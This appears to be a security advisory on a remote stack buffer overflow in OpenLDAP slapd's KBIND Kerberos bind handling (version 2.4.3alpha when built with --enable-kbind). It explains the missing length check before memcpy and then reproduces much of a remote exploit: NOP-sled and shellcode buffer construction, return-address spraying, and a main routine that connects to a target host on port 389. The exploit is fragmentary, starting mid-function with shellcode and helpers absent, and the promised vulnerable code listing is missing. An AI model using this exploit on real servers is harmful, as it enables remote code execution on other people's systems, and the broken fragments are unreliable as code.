OpenLDAP Software is "an open source implementation of the Lightweight Directory Access Protocol". There is a remotely exploitable buffer overflow in the Kerberos KBIND authentication code in the OpenLDAP slapd server.
Vulnerable Systems:
* OpenLDAP version 2.4.3alpha (where --enable-kbind is provided)
The vulnerability is in the krbv4_ldap_auth function in servers/slapd/kerberos.c. This function processes LDAP bind requests that specify the LDAP_AUTH_KRBV41 authentication method. The cred variable contains a pointer to the Kerberos authentication data sent by the client. The length of the data is not checked before it is copied into a fixed size buffer on the stack. Sending a bind request with more than 1250 bytes of credential data will result in a buffer overflow. The vulnerable code is given below:
There should be a length check before the call to memcpy.
The vulnerable code is enabled only when OpenLDAP is compiled with the --enable-kbind option, which has been disabled by default since version 2.0.2 and was removed from the configure script in the 2.1 release. The chance of finding a real system that is still vulnerable is minimal, however the code is still available in the latest 2.4.3 version of OpenLDAP and can be enabled manually as described in http://www.openldap.org/lists/openldap-software/200206/msg00371.html
Exploit:
/*
* openldap-kbind-p00f.c - OpenLDAP kbind remote exploit
*
* Only works on servers compiled with
* --enable-kbind enable LDAPv2+ Kerberos IV bind (deprecated) [no]
*
* by Solar Eclipse <solareclipse@phreedom.org>
*
* Shoutouts to LSD for their l33t asm code and to all 0dd people
*
* Private 0dd code.
*
*/
i = len - 64 - strlen(shellcode);
memset(p, 0x90, i);
strncpy(&p[i], shellcode, strlen(shellcode));
for (i = len - 64; i < len; i+= 4) {
*(int*)&p[i] = SHELLCODE_ADDR;
}
}
char res_buf[30];
char* ldap_result(int code) {
switch (code) {
case 0x00: return "LDAP_SUCCESS (0x00)";
case 0x01: return "LDAP_OPERATIONS_ERROR (0x01)";
case 0x02: return "LDAP_PROTOCOL_ERROR (0x02)";
case 0x07: return "LDAP_AUTH_METHOD_NOT_SUPPORTED (0x07)\nMost likely cause: the OpenLDAP server was not compiled with --enable-kbind.";
case 0x08: return "LDAP_STRONG_AUTH_REQUIRED (0x08)";
case 0x0e: return "LDAP_SASL_BIND_IN_PROGRESS (0x0e)";
case 0x22: return "LDAP_INVALID_DN_SYNTAX (0x22)\nCheck your bind_dn.";
case 0x30: return "LDAP_INAPPROPRIATE_AUTH (0x30)";
case 0x31: return "LDAP_INVALID_CREDENTIALS (0x31)\nThe bind_dn must exist in the LDAP directory.";
case 0x32: return "LDAP_INSUFFICIENT_ACCESS (0x32)";
case 0x33: return "LDAP_BUSY (0x33)";
case 0x34: return "LDAP_UNAVAILABLE (0x34)";
case 0x35: return "LDAP_UNWILLING_TO_PERFORM (0x35)";
case 0x50: return "LDAP_OTHER (0x50)";
case 0x51: return "LDAP_SERVER_DOWN (0x51)";
case 0x54: return "LDAP_DECODING_ERROR (0x54)";
default:
sprintf(res_buf, "%x", code);
return res_buf;
}
}
/* run, code, run */
int main(int argc, char* argv[])
{
char shellcode_buf[SHELLCODE_LEN+1];
int port, sock, res;
char* dn;
char* p;
printf(": openldap-kbind-p00f.c - OpenLDAP kbind remote exploit\n");
printf("\n");
printf(": Only works on servers compiled with\n");
printf(" --enable-kbind enable LDAPv2+ Kerberos IV bind (deprecated) [no]\n");
printf("\n");
printf(": by Solar Eclipse <solareclipse@phreedom.org>\n\n");
if (argc < 3) {
printf(": Usage: %s hostname bind_dn\n", argv[0]);
printf(" The bind_dn must exist in the LDAP directory.\n");
exit(1);
}
dn = argv[2];
port = 389; /*atoi(argv[2]);*/
sock = connect_host(argv[1], port);
/*
send_bind_request(sock, LDAP_AUTH_SIMPLE, dn, "secret");
res = read_bind_result(sock);
printf("LDAP_AUTH_SIMPLE bind request returned %s\n", ldap_result(res));
*/
/* send_bind_request(sock, LDAP_AUTH_KRBV41, dn, "secret");
res = read_bind_result(sock);
printf("LDAP_AUTH_KRBV41 bind request returned %s\n", ldap_result(res));
*/
port = get_local_port(sock);